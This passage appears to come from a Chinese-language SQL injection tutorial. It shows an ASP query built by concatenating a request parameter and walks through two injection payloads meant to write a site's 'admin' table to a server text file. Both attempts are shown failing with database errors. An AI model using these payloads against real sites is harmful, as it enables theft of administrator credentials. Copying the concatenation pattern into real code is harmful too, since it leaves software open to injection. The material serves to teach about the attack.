"select name from articles where id=" & request("id")
假设提交的id为5,那么查询语句应该是这样的:
select name from articles where id=5
那么注射语句怎么构造呢?
我先测试了子查询,把id换成:5 and (select * into [admin.txt] in 'd:\abc\' 'text;' from admin)>0,于是整条语句就成了这样:
select name from articles where id=5 and (select * into [admin.txt] in 'd:\abc\' 'text;' from admin)>0
执行,却提示“子查询中不允许此操作”。
看样子子查询是白搭了,于是想到了联合查询,那么把id换成:5 union select * into [admin.txt] in 'd:\abc\' 'text;' from admin,整条语句就变成了:
select name from articles where id=5 union select * into [admin.txt] in 'd:\abc\' 'text;' from admin
执行后,提示“动作查询不能作为行的来源”。